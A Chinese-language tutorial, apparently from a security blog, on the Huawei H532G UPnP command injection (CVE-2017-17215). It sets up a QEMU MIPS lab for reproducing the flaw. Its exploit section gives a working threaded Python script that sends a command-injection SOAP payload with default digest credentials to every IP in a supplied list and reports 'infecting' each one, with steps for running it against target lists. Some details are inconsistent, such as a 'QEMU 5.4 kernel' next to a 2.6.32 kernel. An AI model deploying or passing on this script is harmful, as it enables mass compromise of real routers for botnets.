华为路由器 H532G 漏洞分析
字数 656 2025-08-27 12:33:48

华为路由器H532G漏洞分析与复现教程

漏洞概述

本教程详细分析华为路由器H532G中存在的UPnP服务命令注入漏洞(CVE-2017-17215),并提供完整的复现环境搭建方法和利用过程。

漏洞原理

漏洞存在于UPnP服务的37215端口,是一个典型的命令注入漏洞:

  1. 漏洞位置./bin/upnp程序中的0x0040749c地址处
  2. 漏洞类型:sprintf拼接后直接调用system执行的命令注入
  3. 注入点:通过控制NewStatusURL参数,使用分号(;)闭合前面命令来执行任意命令

环境搭建

准备工作

  1. 下载必要的文件:

  2. 设置虚拟网卡:

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.1.2/24

启动QEMU虚拟机

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -nographic \
-net nic -net tap,ifname=br0,script=no,downscript=no

配置路由器环境

  1. 进入虚拟机后挂载必要目录:
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
  1. 设置网络:
ifconfig eth0 192.168.1.1/24
  1. 启动服务:
./bin/upnp
./bin/mic &  # 注意需要使用&在后台运行或通过SSH运行
  1. 修复网络问题(如出现):
ifconfig br0 192.168.1.3/24
ifconfig eth0 192.168.1.1/24

漏洞利用

利用脚本

#!/usr/bin/python
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth

ips = open(sys.argv[1], "r").readlines()
cmd = "" # 填入要执行的MIPS架构命令(如SSHD)

rm = """<?xml version=\"1.0\" ?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">
<NewStatusURL>$(""" + cmd + """)</NewStatusURL>
<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>"""

class exploit(threading.Thread):
    def __init__ (self, ip):
        threading.Thread.__init__(self)
        self.ip = str(ip).rstrip('\n')
    
    def run(self):
        try:
            url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
            requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
            print "[SOAP] Attempting to infect " + self.ip
        except Exception as e:
            pass

for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        pass

利用步骤

  1. 准备目标IP列表文件
  2. 修改脚本中的cmd变量为要执行的命令
  3. 运行脚本:python exploit.py iplist.txt

注意事项

  1. 必须使用QEMU 5.4内核版本运行32位MIPS程序,否则会报"非法指令"错误
  2. mic服务运行时可能会抢占eth0的IP,需要手动重新配置
  3. 建议通过SSH连接虚拟机来运行mic服务,避免控制台被占用

参考资源

  1. CVE-2017-17215路由器漏洞分析
  2. QEMU运行MIPS环境配置
  3. 漏洞原分析文章
华为路由器H532G漏洞分析与复现教程 漏洞概述 本教程详细分析华为路由器H532G中存在的UPnP服务命令注入漏洞(CVE-2017-17215),并提供完整的复现环境搭建方法和利用过程。 漏洞原理 漏洞存在于UPnP服务的37215端口,是一个典型的命令注入漏洞: 漏洞位置 : ./bin/upnp 程序中的0x0040749c地址处 漏洞类型 :sprintf拼接后直接调用system执行的命令注入 注入点 :通过控制 NewStatusURL 参数,使用分号( ; )闭合前面命令来执行任意命令 环境搭建 准备工作 下载必要的文件: 内核镜像: vmlinux-2.6.32-5-4kc-malta 磁盘镜像: debian_ squeeze_ mips_ standard.qcow2 设置虚拟网卡: 启动QEMU虚拟机 配置路由器环境 进入虚拟机后挂载必要目录: 设置网络: 启动服务: 修复网络问题(如出现): 漏洞利用 利用脚本 利用步骤 准备目标IP列表文件 修改脚本中的 cmd 变量为要执行的命令 运行脚本: python exploit.py iplist.txt 注意事项 必须使用QEMU 5.4内核版本运行32位MIPS程序,否则会报"非法指令"错误 mic 服务运行时可能会抢占eth0的IP,需要手动重新配置 建议通过SSH连接虚拟机来运行 mic 服务,避免控制台被占用 参考资源 CVE-2017-17215路由器漏洞分析 QEMU运行MIPS环境配置 漏洞原分析文章